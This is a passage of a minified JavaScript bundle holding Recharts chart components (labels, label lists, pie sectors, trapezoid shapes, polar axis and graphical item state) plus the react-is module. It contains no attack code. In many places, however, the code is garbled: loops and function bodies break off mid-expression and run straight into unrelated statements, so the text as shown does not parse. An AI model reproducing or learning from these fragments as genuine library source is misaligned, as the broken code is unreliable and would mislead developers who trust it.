N&&(z.height=Math.max(o-N.y,0),z.width=c),z}if(n==="bottom"){var O={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return N&&(O.height=Math.max(N.y+N.height-(o+l),0),O.width=u),O}if(n==="left"){var E={x:m-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return N&&(E.width=Math.max(E.x-N.x,0),E.height=l),E}if(n==="right"){var T={x:m+h+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"};return N&&(T.width=Math.max(N.x+N.width-T.x,0),T.height=l),T}var P=N?{width:h,height:l}:{};return n==="insideLeft"?Fn({x:m+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"},P):n==="insideRight"?Fn({x:m+h-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideTop"?Fn({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?Fn({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?Fn({x:d+j,y:o+y,horizontalAnchor:S,verticalAnchor:b},P):n==="insideTopRight"?Fn({x:d+c-j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideBottomLeft"?Fn({x:f+j,y:o+l-y,horizontalAnchor:S,verticalAnchor:v},P):n==="insideBottomRight"?Fn({x:f+u-j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n&&typeof n=="object"&&(de(n.x)||Vi(n.x))&&(de(n.y)||Vi(n.y))?Fn({x:a+Zt(n.x,h),y:o+Zt(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):Fn({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},L9=["labelRef"],I9=["content"];function Nb(e,t){if(e==null)return{};var n,r,i=D9(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var e=p.useContext(F9),t=bd();return e||(t?_x(t):void 0)},U9=p.createContext(null),V9=()=>{var e=p.useContext(U9),t=he(p4);return e||t},H9=e=>{var{value:t,formatter:n}=e,r=jt(e.children)?t:e.children;return typeof n=="function"?n(r):r},K9=e=>e!=null&&typeof e=="function",q9=(e,t)=>{var n=It(t-e),r=Math.min(Math.abs(t-e),360);return n*r},Y9=(e,t,n,r,i)=>{var{offset:a,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:m,clockWise:h}=i,x=(u+d)/2,g=q9(f,m),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*a,b=h;break;case"insideEnd":v=m-y*a,b=!h;break;case"end":v=m+y*a,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=et(l,c,x,v),j=et(l,c,x,v+(b?1:-1)*359),k="M".concat(w.x,",").concat(w.y,` + A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, + `).concat(j.x,",").concat(j.y),S=jt(e.id)?xo("recharts-radial-line-"):e.id;return p.createElement("text",vu({},r,{dominantBaseline:"central",className:Ve("recharts-radial-bar-label",o)}),p.createElement("defs",null,p.createElement("path",{id:S,d:k})),p.createElement("textPath",{xlinkHref:"#".concat(S)},n))},G9=(e,t,n)=>{var{cx:r,cy:i,innerRadius:a,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=et(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var m=(a+o)/2,{x:h,y:x}=et(r,i,m,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},rc=e=>e!=null&&"cx"in e&&de(e.cx),X9={angle:0,offset:5,zIndex:Rt.label,position:"middle",textBreakAll:!1};function Z9(e){if(!rc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function PS(e){var t=rn(e,X9),{viewBox:n,parentViewBox:r,position:i,value:a,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=V9(),m=W9(),h=i==="center"?m:f??m,x,g,y;n==null?x=h:rc(n)?x=n:x=_x(n);var v=Z9(x);if(!x||jt(a)&&jt(o)&&!p.isValidElement(l)&&typeof l!="function")return null;var b=Tl(Tl({},t),{},{viewBox:x});if(p.isValidElement(l)){var{labelRef:w}=b,j=Nb(b,L9);return p.cloneElement(l,j)}if(typeof l=="function"){var{content:k}=b,S=Nb(b,I9);if(g=p.createElement(l,S),p.isValidElement(g))return g}else g=H9(t);var N=At(t);if(rc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return Y9(t,i,g,N,x);y=G9(x,t.offset,t.position)}else{if(!v)return null;var z=M9({viewBox:v,position:i,offset:t.offset,parentViewBox:rc(r)?void 0:r});y=Tl(Tl({x:z.x,y:z.y,textAnchor:z.horizontalAnchor,verticalAnchor:z.verticalAnchor},z.width!==void 0?{width:z.width}:{}),z.height!==void 0?{height:z.height}:{})}return p.createElement(mi,{zIndex:t.zIndex},p.createElement(U0,vu({ref:d,className:Ve("recharts-label",c)},N,y,{textAnchor:z9(N.textAnchor)?N.textAnchor:y.textAnchor,breakAll:u}),g))}PS.displayName="Label";var ES={},AS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(AS);var _S={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(_S);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=AS,n=_S,r=nd;function i(a){if(r.isArrayLike(a))return t.last(n.toArray(a))}e.last=i})(ES);var Q9=ES.last;const J9=kr(Q9);var e$=["valueAccessor"],t$=["dataKey","clockWise","id","textBreakAll","zIndex"];function gu(){return gu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?J9(e.value):e.value,OS=p.createContext(void 0),i$=OS.Provider,TS=p.createContext(void 0),a$=TS.Provider;function s$(){return p.useContext(OS)}function o$(){return p.useContext(TS)}function ic(e){var{valueAccessor:t=r$}=e,n=zb(e,e$),{dataKey:r,clockWise:i,id:a,textBreakAll:o,zIndex:l}=n,c=zb(n,t$),u=s$(),d=o$(),f=u||d;return!f||!f.length?null:p.createElement(mi,{zIndex:l??Rt.label},p.createElement(Wt,{className:"recharts-label-list"},f.map((m,h)=>{var x,g=jt(r)?t(m,h):Ie(m.payload,r),y=jt(a)?{}:{id:"".concat(a,"-").concat(h)};return p.createElement(PS,gu({key:"label-".concat(h)},At(m),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:m.fill,parentViewBox:m.parentViewBox,value:g,textBreakAll:o,viewBox:m.viewBox,index:h,zIndex:0}))})))}ic.displayName="LabelList";function MS(e){var{label:t}=e;return t?t===!0?p.createElement(ic,{key:"labelList-implicit"}):p.isValidElement(t)||K9(t)?p.createElement(ic,{key:"labelList-implicit",content:t}):typeof t=="object"?p.createElement(ic,gu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function eh(){return eh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,a=Ve("recharts-dot",i);return de(t)&&de(n)&&de(r)?p.createElement("circle",eh({},hr(e),fx(e),{className:a,cx:t,cy:n,r})):null},IS=e=>e.graphicalItems.polarItems,l$=M([He,Yo],m0),Vd=M([IS,Ge,l$],h0),c$=M([Vd],x0),Hd=M([c$,Td],v0),u$=M([Hd,Ge,Vd],y0);M([Hd,Ge,Vd],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var a,o=Ie(r,(a=t.dataKey)!==null&&a!==void 0?a:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ie(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var Cb=()=>{},d$=M([Hd,Ge,Vd,$d,He],k0),f$=M([Ge,w0,j0,Cb,d$,Cb,Ee,He],N0),DS=M([Ge,Ee,Hd,u$,qo,He,f$],S0),p$=M([DS,is,pi],P0),m$=M([Ge,DS,p$,He],A0);M([pi,m$],h4);var h$={radiusAxis:{},angleAxis:{}},RS=Ut({name:"polarAxis",initialState:h$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:yV,removeRadiusAxis:bV,addAngleAxis:wV,removeAngleAxis:jV}=RS.actions,x$=RS.reducer;function v$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function Pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Eb(e){for(var t=1;tt,V0=M([IS,w$],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),j$=[],H0=(e,t,n)=>(n==null?void 0:n.length)===0?j$:n,$S=M([Td,V0,H0],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(a=>Eb(Eb({},t.presentationProps),a.props))),i!=null)return i}}),k$=M([$S,V0,H0],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var a,o=Ie(r,t.nameKey,t.name),l;return n!=null&&(a=n[i])!==null&&a!==void 0&&(a=a.props)!==null&&a!==void 0&&a.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:hd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),N$=M([$S,V0,H0,ft],(e,t,n,r)=>{if(!(t==null||e==null))return EB({offset:r,pieSettings:t,displayedData:e,cells:n})}),BS={exports:{}},Ae={};/** + * @license React + * react-is.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var K0=Symbol.for("react.transitional.element"),q0=Symbol.for("react.portal"),Kd=Symbol.for("react.fragment"),qd=Symbol.for("react.strict_mode"),Yd=Symbol.for("react.profiler"),Gd=Symbol.for("react.consumer"),Xd=Symbol.for("react.context"),Zd=Symbol.for("react.forward_ref"),Qd=Symbol.for("react.suspense"),Jd=Symbol.for("react.suspense_list"),ef=Symbol.for("react.memo"),tf=Symbol.for("react.lazy"),S$=Symbol.for("react.view_transition"),z$=Symbol.for("react.client.reference");function bn(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case K0:switch(e=e.type,e){case Kd:case Yd:case qd:case Qd:case Jd:case S$:return e;default:switch(e=e&&e.$$typeof,e){case Xd:case Zd:case tf:case ef:return e;case Gd:return e;default:return t}}case q0:return t}}}Ae.ContextConsumer=Gd;Ae.ContextProvider=Xd;Ae.Element=K0;Ae.ForwardRef=Zd;Ae.Fragment=Kd;Ae.Lazy=tf;Ae.Memo=ef;Ae.Portal=q0;Ae.Profiler=Yd;Ae.StrictMode=qd;Ae.Suspense=Qd;Ae.SuspenseList=Jd;Ae.isContextConsumer=function(e){return bn(e)===Gd};Ae.isContextProvider=function(e){return bn(e)===Xd};Ae.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===K0};Ae.isForwardRef=function(e){return bn(e)===Zd};Ae.isFragment=function(e){return bn(e)===Kd};Ae.isLazy=function(e){return bn(e)===tf};Ae.isMemo=function(e){return bn(e)===ef};Ae.isPortal=function(e){return bn(e)===q0};Ae.isProfiler=function(e){return bn(e)===Yd};Ae.isStrictMode=function(e){return bn(e)===qd};Ae.isSuspense=function(e){return bn(e)===Qd};Ae.isSuspenseList=function(e){return bn(e)===Jd};Ae.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===Kd||e===Yd||e===qd||e===Qd||e===Jd||typeof e=="object"&&e!==null&&(e.$$typeof===tf||e.$$typeof===ef||e.$$typeof===Xd||e.$$typeof===Gd||e.$$typeof===Zd||e.$$typeof===z$||e.getModuleId!==void 0)};Ae.typeOf=bn;BS.exports=Ae;var C$=BS.exports,Ab=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",_b=null,ep=null,FS=e=>{if(e===_b&&Array.isArray(ep))return ep;var t=[];return p.Children.forEach(e,n=>{jt(n)||(C$.isFragment(n)?t=t.concat(FS(n.props.children)):t.push(n))}),ep=t,_b=e,t};function WS(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>Ab(i)):r=[Ab(t)],FS(e).forEach(i=>{var a=ho(i,"type.displayName")||ho(i,"type.name");a&&r.indexOf(a)!==-1&&n.push(i)}),n}var US=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,VS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const a=n[Symbol.toStringTag];return a==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${a}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(VS);var P$=VS.isPlainObject;const E$=kr(P$);var Ob,Tb,Mb,Lb,Ib;function Db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Rb(e){for(var t=1;t{var a=n-r,o;return o=Ke(Ob||(Ob=zs(["M ",",",""])),e,t),o+=Ke(Tb||(Tb=zs(["L ",",",""])),e+n,t),o+=Ke(Mb||(Mb=zs(["L ",",",""])),e+n-a/2,t+i),o+=Ke(Lb||(Lb=zs(["L ",",",""])),e+n-a/2-r,t+i),o+=Ke(Ib||(Ib=zs(["L ",","," Z"])),e,t),o},T$={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},M$=e=>{var t=rn(e,T$),{x:n,y:r,upperWidth:i,lowerWidth:a,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,m=p.useRef(null),[h,x]=p.useState(-1),g=p.useRef(i),y=p.useRef(a),v=p.useRef(o),b=p.useRef(n),w=p.useRef(r),j=zd(e,"trapezoid-");if(p.useEffect(()=>{if(m.current&&m.current.getTotalLength)try{var K=m.current.getTotalLength();K&&x(K)}catch{}},[]),n!==+n||r!==+r||i!==+i||a!==+a||o!==+o||i===0&&a===0||o===0)return null;var k=Ve("recharts-trapezoid",l);if(!f)return p.createElement("g",null,p.createElement("path",yu({},At(t),{className:k,d:$b(n,r,i,a,o)})));var S=g.current,N=y.current,z=v.current,O=b.current,E=w.current,T="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),U=nN(["strokeDasharray"],u,c);return p.createElement(Sd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},K=>{var $=yt(S,i,K),L=yt(N,a,K),F=yt(z,o,K),W=yt(O,n,K),H=yt(E,r,K);m.current&&(g.current=$,y.current=L,v.current=F,b.current=W,w.current=H);var B=K>0?{transition:U,strokeDasharray:P}:{strokeDasharray:T};return p.createElement("path",yu({},At(t),{className:k,d:$b(W,H,$,L,F),ref:m,style:Rb(Rb({},B),t.style)}))})},L$=["option","shapeType","activeClassName"];function I$(e,t){if(e==null)return{};var n,r,i=D$(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var r=Qe();return(i,a)=>o=>{e==null||e(i,a,o),r(K4({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},K$=e=>{var t=Qe();return(n,r)=>i=>{e==null||e(n,r,i),t(Z7())}},q$=(e,t,n)=>{var r=Qe();return(i,a)=>o=>{e==null||e(i,a,o),r(Q7({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function HS(e){var{tooltipEntrySettings:t}=e,n=Qe(),r=In(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(q7(t)):i.current!==t&&n(Y7({prev:i.current,next:t})),i.current=t)},[t,n,r]),p.useLayoutEffect(()=>()=>{i.current&&(n(G7(i.current)),i.current=null)},[n]),null}function Y$(e){var{legendPayload:t}=e,n=Qe(),r=In(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(Qk(t)):i.current!==t&&n(Jk({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(eN(i.current)),i.current=null)},[n]),null}function G$(e){var{legendPayload:t}=e,n=Qe(),r=he(Ee),i=p.useRef(null);return p.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(Qk(t)):i.current!==t&&n(Jk({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(eN(i.current)),i.current=null)},[n]),null}var tp,X$=()=>{var[e]=p.useState(()=>xo("uid-"));return e},Z$=(tp=A2.useId)!==null&&tp!==void 0?tp:X$;function Q$(e,t){var n=Z$();return t||(e?"".concat(e,"-").concat(n):n)}var J$=p.createContext(void 0),KS=e=>{var{id:t,type:n,children:r}=e,i=Q$("recharts-".concat(n),t);return p.createElement(J$.Provider,{value:i},r(i))},eB={cartesianItems:[],polarItems:[]},qS=Ut({name:"graphicalItems",initialState:eB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:De()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=_n(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:De()},removeCartesianGraphicalItem:{reducer(e,t){var n=_n(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:De()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:De()},removePolarGraphicalItem:{reducer(e,t){var n=_n(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:De()}}}),{addCartesianGraphicalItem:tB,replaceCartesianGraphicalItem:nB,removeCartesianGraphicalItem:rB,addPolarGraphicalItem:iB,removePolarGraphicalItem:aB}=qS.actions,sB=qS.reducer,oB=e=>{var t=Qe(),n=p.useRef(null);return p.useLayoutEffect(()=>{n.current===null?t(tB(e)):n.current!==e&&t(nB({prev:n.current,next:e})),n.current=e},[t,e]),p.useLayoutEffect(()=>()=>{n.current&&(t(rB(n.current)),n.current=null)},[t]),null},lB=p.memo(oB);function cB(e){var t=Qe();return p.useLayoutEffect(()=>(t(iB(e)),()=>{t(aB(e))}),[t,e]),null}var uB=["key"],dB=["onMouseEnter","onClick","onMouseLeave"],fB=["id"],pB=["id"];function Wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ye(e){for(var t=1;tWS(e.children,Ud),[e.children]),n=he(r=>k$(r,e.id,t));return n==null?null:p.createElement(G$,{legendPayload:n})}var yB=p.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:a,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(m=>m.tooltipPayload),getPosition:m=>{var h;return(h=r[Number(m)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:a,fill:o,dataKey:t,nameKey:n,name:hd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return p.createElement(HS,{tooltipEntrySettings:f})}),bB=(e,t)=>e>t?"start":eZt(typeof t=="function"?t(e):t,n,n*.8),jB=(e,t,n)=>{var{top:r,left:i,width:a,height:o}=t,l=oN(a,o),c=i+Zt(e.cx,a,a/2),u=r+Zt(e.cy,o,o/2),d=Zt(e.innerRadius,l,0),f=wB(n,e.outerRadius,l),m=e.maxRadius||Math.sqrt(a*a+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:m}},kB=(e,t)=>{var n=It(t-e),r=Math.min(Math.abs(t-e),360);return n*r},NB=(e,t)=>{if(p.isValidElement(e))return p.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Ve("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=nf(t,uB);return p.createElement(Ea,oi({},i,{type:"linear",className:n}))},SB=(e,t,n)=>{if(p.isValidElement(e))return p.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),p.isValidElement(r)))return r;var i=Ve("recharts-pie-label-text",v$(e));return p.createElement(U0,oi({},t,{alignmentBaseline:"middle",className:i}),r)};function zB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:a,dataKey:o}=n;if(!r||!i||!t)return null;var l=hr(n),c=mo(i),u=mo(a),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((m,h)=>{var x=(m.startAngle+m.endAngle)/2,g=et(m.cx,m.cy,m.outerRadius+d,x),y=Ye(Ye(Ye(Ye({},l),m),{},{stroke:"none"},c),{},{index:h,textAnchor:bB(g.x,m.cx)},g),v=Ye(Ye(Ye(Ye({},l),m),{},{fill:"none",stroke:m.fill},u),{},{index:h,points:[et(m.cx,m.cy,m.outerRadius,x),g],key:"line"});return p.createElement(mi,{zIndex:Rt.label,key:"label-".concat(m.startAngle,"-").concat(m.endAngle,"-").concat(m.midAngle,"-").concat(h)},p.createElement(Wt,null,a&&NB(a,v),SB(i,y,Ie(m,o))))});return p.createElement(Wt,{className:"recharts-pie-labels"},f)}function CB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?p.createElement(MS,{label:i}):p.createElement(zB,{sectors:t,props:n,showLabels:r})}function PB(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:a,id:o}=e,l=he(Ha),c=he(oS),u=he(DD),{onMouseEnter:d,onClick:f,onMouseLeave:m}=i,h=nf(i,dB),x=H$(d,i.dataKey,o),g=K$(m),y=q$(f,i.dataKey,o);return t==null||t.length===0?null:p.createElement(p.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,k=l?r:null,S=n&&j?n:k,N=Ye(Ye({},v),{},{stroke:v.stroke,tabIndex:-1,[Ik]:b,[Dk]:o});return p.createElement(Wt,oi({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},H_(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),p.createElement(V$,oi({option:a??S,index:b,shapeType:"sector",isActive:j},N)))}))}function EB(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:a}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,m=Math.abs(n.minAngle),h=kB(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(S=>Ie(S,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*m-v,w=r.reduce((S,N)=>{var z=Ie(N,u,0);return S+(de(z)?z:0)},0),j;if(w>0){var k;j=r.map((S,N)=>{var z=Ie(S,u,0),O=Ie(S,d,N),E=jB(n,a,S),T=(de(z)?z:0)/w,P,U=Ye(Ye({},S),i&&i[N]&&i[N].props);N?P=k.endAngle+It(h)*g*(z!==0?1:0):P=l;var K=P+It(h)*((z!==0?m:0)+T*b),$=(P+K)/2,L=(E.innerRadius+E.outerRadius)/2,F=[{name:O,value:z,payload:U,dataKey:u,type:f,graphicalItemId:n.id}],W=et(E.cx,E.cy,L,$);return k=Ye(Ye(Ye(Ye({},n.presentationProps),{},{percent:T,cornerRadius:typeof o=="string"?parseFloat(o):o,name:O,tooltipPayload:F,midAngle:$,middleRadius:L,tooltipPosition:W},U),E),{},{value:z,dataKey:u,startAngle:P,endAngle:K,payload:U,paddingAngle:It(h)*g}),k})}return j}function AB(e){var{showLabels:t,sectors:n,children:r}=e,i=p.useMemo(()=>!t||!n?[]:n.map(a=>({value:a.value,payload:a.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:a.cx,cy:a.cy,innerRadius:a.innerRadius,outerRadius:a.outerRadius,startAngle:a.startAngle,endAngle:a.endAngle,clockWise:!1},fill:a.fill})),[n,t]);return p.createElement(a$,{value:t?i:void 0},r)}function _B(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:a,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:m}=t,h=zd(t,"recharts-pie-"),x=n.current,[g,y]=p.useState(!1),v=p.useCallback(()=>{typeof m=="function"&&m(),y(!1)},[m]),b=p.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return p.createElement(AB,{showLabels:!g,sectors:i},p.createElement(Sd,{animationId:h,begin:o,duration:l,isActive:a,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,k=[],S=i&&i[0],N=(j=S==null?void 0:S.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((z,O)=>{var E=x&&x[O],T=O>0?ho(z,"paddingAngle",0):0;if(E){var P=yt(E.endAngle-E.startAngle,z.endAngle-z.startAngle,w),U=Ye(Ye({},z),{},{startAngle:N+T,endAngle:N+P+T});k.push(U),N=U.endAngle}else{var{endAngle:K,startAngle:$}=z,L=yt(0,K-$,w),F=Ye(Ye({},z),{},{startAngle:N+T,endAngle:N+L+T});k.push(F),N=F.endAngle}}),n.current=k,p.createElement(Wt,null,p.createElement(PB,{sectors:k,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),p.createElement(CB,{showLabels:!g,sectors:i,props:t}),t.children)}var OB={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Rt.area};function TB(e){var{id:t}=e,n=nf(e,fB),{hide:r,className:i,rootTabIndex:a}=e,o=p.useMemo(()=>WS(e.children,Ud),[e.children]),l=he(d=>N$(d,t,o)),c=p.useRef(null),u=Ve("recharts-pie",i);return r||l==null?(c.current=null,p.createElement(Wt,{tabIndex:a,className:u})):p.createElement(mi,{zIndex:e.zIndex},p.createElement(yB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),p.createElement(Wt,{tabIndex:a,className:u},p.createElement(_B,{props:Ye(Ye({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function YS(e){var t=rn(e,OB),{id:n}=t,r=nf(t,pB),i=hr(r);return p.createElement(KS,{id:n,type:"pie"},a=>p.createElement(p.Fragment,null,p.createElement(cB,{type:"pie",id:a,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),p.createElement(gB,oi({},r,{id:a})),p.createElement(TB,oi({},r,{id:a}))))}YS.displayName="Pie";var MB=["points"];function Ub(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function np(e){for(var t=1;t{var y,v,b=np(np(np({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:a,value:x.value,payload:x.payload,points:t});return p.createElement(BB,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),p.createElement(mi,{zIndex:u},p.createElement(Wt,wu({className:r},h),m))}function Vb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return 